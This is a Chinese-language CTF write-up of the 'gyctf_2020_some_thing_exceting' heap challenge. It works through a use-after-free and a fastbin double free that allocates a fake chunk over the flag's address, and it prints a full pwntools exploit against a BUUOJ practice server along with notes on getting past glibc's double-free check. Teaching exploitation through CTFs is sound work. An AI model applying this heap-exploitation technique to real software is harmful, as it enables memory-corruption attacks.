gyctf_2020_some_thing_exceting

查看防护措施

1

本地调试

这里要在本地根目录创建一个flag

2

堆菜单的布局

3

我们创建了两个chunk程序,程序给我们创建了一个chunk用来存储这两个chunk的地址,fd存储第一个chunk地址,bk存储第二个chunk地址

IDA静态分析

create():

4

free():

5

漏洞点存在UAF

show():

6

7

另外注意flag上来被存储在了s里,地址为0x6020A8

8

flag_addr-0x10的位置可以被当成一个size为0x60的chunk被挂进fastbin再被申请出来

大致思路

利用double free将flag_addr-0x10挂进fastbin再申请回来打印就把flag打印出来了,比较简单直接放出exp了,不过当时刚开始double free出了点问题

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io = remote('node4.buuoj.cn',25961)
#io = process('./gyctf_2020_some_thing_exceting')
elf = ELF('./gyctf_2020_some_thing_exceting')

libc = ELF('./libc-2.23_64.so')

def add(ba_length,ba_content,na_length,na_content):
io.recvuntil("Now please tell me what you want to do :")
io.sendline(str(1))
io.recvuntil("ba's length :")
io.sendline(str(ba_length))
io.recvuntil("ba :")
io.send(ba_content)
io.recvuntil("na's length :")
io.sendline(str(na_length))
io.recvuntil("na :")
io.send(na_content)


def free(index):
io.recvuntil("Now please tell me what you want to do :")
io.sendline(str(3))
io.recvuntil("Banana ID :")
io.sendline(str(index))

def show(index):
io.recvuntil("Now please tell me what you want to do :")
io.sendline(str(4))
io.recvuntil('Banana ID : > SCP project ID :')
io.sendline(str(index))

flag_addr =0x6020a8
add(0x50,'aaaa',0x50,'bbbb')
add(0x50,'aaaa',0x50,'bbbb')


free(0)
#gdb.attach(io)

free(1)
#gdb.attach(io)

free(0)
#gdb.attach(io)
add(0x50,p64(flag_addr-0x10),0x50,'b')
add(0x50,'a',0x50,'b')
add(0x50,'f',0x60,' ')
show(4)
io.interactive()

9

遇到的坑

刚开始想先add两个chunk测试一下,我是这么写的:

1
2
3
4
5
6
add(0x30,'aaaa',0x30,'bbbb')
add(0x50,'aaaa',0x50,'bbbb')

free(0)
free(1)
free(0)

但是报错了被检测到了double free,我们gdb跟进一步步调试看一下

先在第一个free(0)处调试

10

11

这里刚开始存储chunk地址的note块的fd和bk指针会修改,接下来free(1):12

如果这个时候再去free(0),fd指针为空,bk指针里的0x19b32b0处的内容会被释放,也就是说0x40链上的0x19b32a0的fd指针清空,此时只有一个0x19b32a0,这时刚释放的也是0x19b32a0,相当于0x19b32a0指向0x19b32a0,这样是会被检测出double free的

根本原因就是这里的note块也会被释放,其存储的chunk指针,fd和bk的位置的值会更改,所以我们应该让free(1)的两个chunk和第一次free(0)的两个chunk被挂进size相同的fastbin链表中来绕过检测